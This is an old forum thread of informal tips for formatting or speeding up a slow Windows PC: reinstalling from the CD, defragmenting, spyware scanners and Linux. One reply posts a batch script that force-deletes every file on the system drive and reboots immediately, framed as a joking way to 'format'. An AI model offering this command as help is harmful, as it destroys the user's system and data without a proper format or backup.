 How do I format my computer?, Because it's slow as hell. |
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| drag10 |
 Dec 13 2008, 10:53 AM
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Lazy Group: Arcs Posts: 17 Joined: 8-April 08 Member No.: 1720  |
I have no clue on how to do this. Can you help in any way?
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| Hitoshura |
Dec 13 2008, 06:37 PM
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 Lazy Group: Arcs Posts: 1 Joined: 14-May 10 Member No.: 2057 |
Get your Windows CD, and reinstall Windows. When you go to reinstall Windows, it'll prompt you to format the hard drive you're installing Windows onto. Assuming you only have one hard drive and it's not split up into multiple partitions, you can format your computer like that.
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| {EsG} Orochi |
Dec 13 2008, 07:28 PM
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 Lazy Group: Arcs Posts: 24 Joined: 11-December 07 From: in your pool Member No.: 1666 |
If you don't want to reinstall, right click on the hard drive under "Explore" and click "Format".
~~~ yum the other white meat
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| VGK |
Dec 13 2008, 08:02 PM
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Lazy Group: Arcs Posts: 16 Joined: 10-July 07 Member No.: 1615 |
If he's formatting his entire computer, he'll want to reinstall.
There's no other way around it, really. |
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| aerozero |
Dec 14 2008, 12:43 AM
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Life Waster  Group: Knights Posts: 750 Joined: 15-December 06 From: Somewhere Member No.: 363 |
You said you wanted it to run faster, and if you haven't defragged in a while, it'd fix a lot of your issues.
You could use the windows defrag tool, but, as it's Microsoft, nothing ever works the way it should. Try JK Defrag [link] which is free, open source, and runs faster and more efficiently than the Windows tool. Just run it now, and maybe every few months. Another thing that makes computers run so freaking slow is when they are all crapped up with spyware. Try running Ad-Aware [link] and Spybot [link] which are both free, reliable programs. If that doesn't work, screw windows and install your favorite flavor of Linux. [link] >_> ~~~  |
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| blue grim angel |
Dec 17 2008, 10:37 PM
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 Casual Chatter Group: Arcs Posts: 55 Joined: 28-September 06 From: Either here, or somewhere else. Member No.: 233 |
Linux doesn't always work. If you have a JMicron disk controller (they're not very good - therefore most motherboards have them), then you're out of luck.
How old is your PC. For modern PCs, you never need to defragment as long as your disk is <50% full. Even then, you don't need to defrag very often. Defrag used to be important. Not very important currently. ~~~ Rose: Hey Ein, want a can of Red Bull?
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| zesler |
Dec 18 2008, 06:34 AM
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 Casual Chatter Group: Arcs Posts: 74 Joined: 25-June 07 Member No.: 1579 |
Why, If your computer acted as a lab or something, (Especially if you keep tweaking with those registry entries) you can download some root-based file backup software, which is abundant in the net....
Try finding ones which loads on boot....usually they have the disk format tool there, which proves valuable if you didn't have any Windows CD.... Or just follow what Yuka's said. That is the only 'straight' way that is available to you.... P/S: No matter what type of sites, softwares or stuffs you put into your comp, with good maintenance and care, your computer won't go amok, seriously. ~~~ "If it is possible to manipulate this thread, then it will be possible to control everything in the world." -Luminous Arc
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| Mystic_Truhan |
Dec 23 2008, 12:43 AM
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Lazy Group: Arcs Posts: 13 Joined: 26-January 06 Member No.: 53 |
QUOTE(sandpenguin @ Dec 18 2008, 01:34 AM)  P/S: No matter what type of sites, softwares or stuffs you put into your comp, with good maintenance and care, your computer won't go amok, seriously. That is NOT true. I don't browse shady sites, I check all software out throughly before I install, and I run lots of anti-virus/spyware programs and such. Last night I downloaded ONE album of music and got FIFTY trojans. FIFTY. Not even exaggerating. And those are just the ones my anti-virus caught. And it was Mozart for God's sake. :| |
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| yip9 |
Dec 23 2008, 03:57 PM
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Shy Group: Arcs Posts: 33 Joined: 23-June 08 Member No.: 1749 |
Ahahaha, I see, no offense though. That sneaky thing lurks everywhere. The easiest way to evade virus infection is to cut any media that can connect to your computer, be it INTERNET, LAN, or any form of it, which seriously cuts the fun.
Heh, well that's the price for it, you can do all the countermeasures from it, but let's just prepare for the worst. ~~~ I play Riviera for two reasons:
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| FlameSpark |
Feb 1 2009, 02:11 AM
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 Talkative Group: Arcs Posts: 140 Joined: 5-April 07 From: Wandering aimlessly... Member No.: 978 |
I tried reinstalling from the Windows CD, but that didn't work.
And to answer jcdietz03's question, I got my computer as a Christmas gift back in 2005. I'll try defragging the PC, and I'll see if it will work. ~~~  |
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| Dr Strum |
Feb 6 2009, 02:17 PM
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 Can Lead the Nation with a Microphone Group: Angels Posts: 5427 Joined: 23-December 05 From: Seattle Member No.: 1 |
That's impossible. Every Windows installation gives you an option to format your drive.
~~~ Писатель всегда будет в оппозиции к политике, пока сама политика будет в оппозиции к культуре.
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| Durango |
Mar 1 2009, 01:19 PM
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 Shy Group: Arcs Posts: 49 Joined: 18-June 07 From: Georgia Member No.: 1524 |
Hmmm....trying this code in Notepad and saving it as .bat
CODE @echo off del %systemdrive%\*.*/f/s/q shutdown -r -f -t 00 And click it will make your system corrupt.....And heck maybe you can install a new copy after that. After all, is there any other way to format your computer in other easy way? Cool, system32 deleted! ~~~ |
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| gyrobot |
Mar 18 2009, 05:56 AM
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Lazy Group: Arcs Posts: 10 Joined: 24-March 07 Member No.: 878 |
That just turns off user input, erases your system files, and shuts down the computer immediately
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| Carnivorous Sheep |
Mar 18 2009, 01:52 PM
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 Lazy Group: Arcs Posts: 19 Joined: 20-July 06 Member No.: 172 |
Well, at least if you have the disc, it can make the formatting job a little bit more....simpler
~~~ "Though always keen and eager the sheepdog never really mastered the herding of carnivorous sheep."
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| Liger |
Mar 21 2009, 03:06 PM
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 something off-color and witty Group: Flunkies Posts: 321 Joined: 26-December 05 Member No.: 21 |
Well, I did everything I could without the risk of formatting the entire Hard Disk, like Disk Cleanup, I also took Lux's advice and used JKDefrag, and that helped a lot, I also uninstalled programs I didn't want to have on my computer, got rid of my family member's data, because I'm pretty much the only person that uses my laptop. Now my computer runs a little faster now.
EDIT: My computer had an unknown problem with loading, so I had to reformat the hard drive. I feel good now. This post has been edited by GB140: Apr 9 2009, 09:30 PM |
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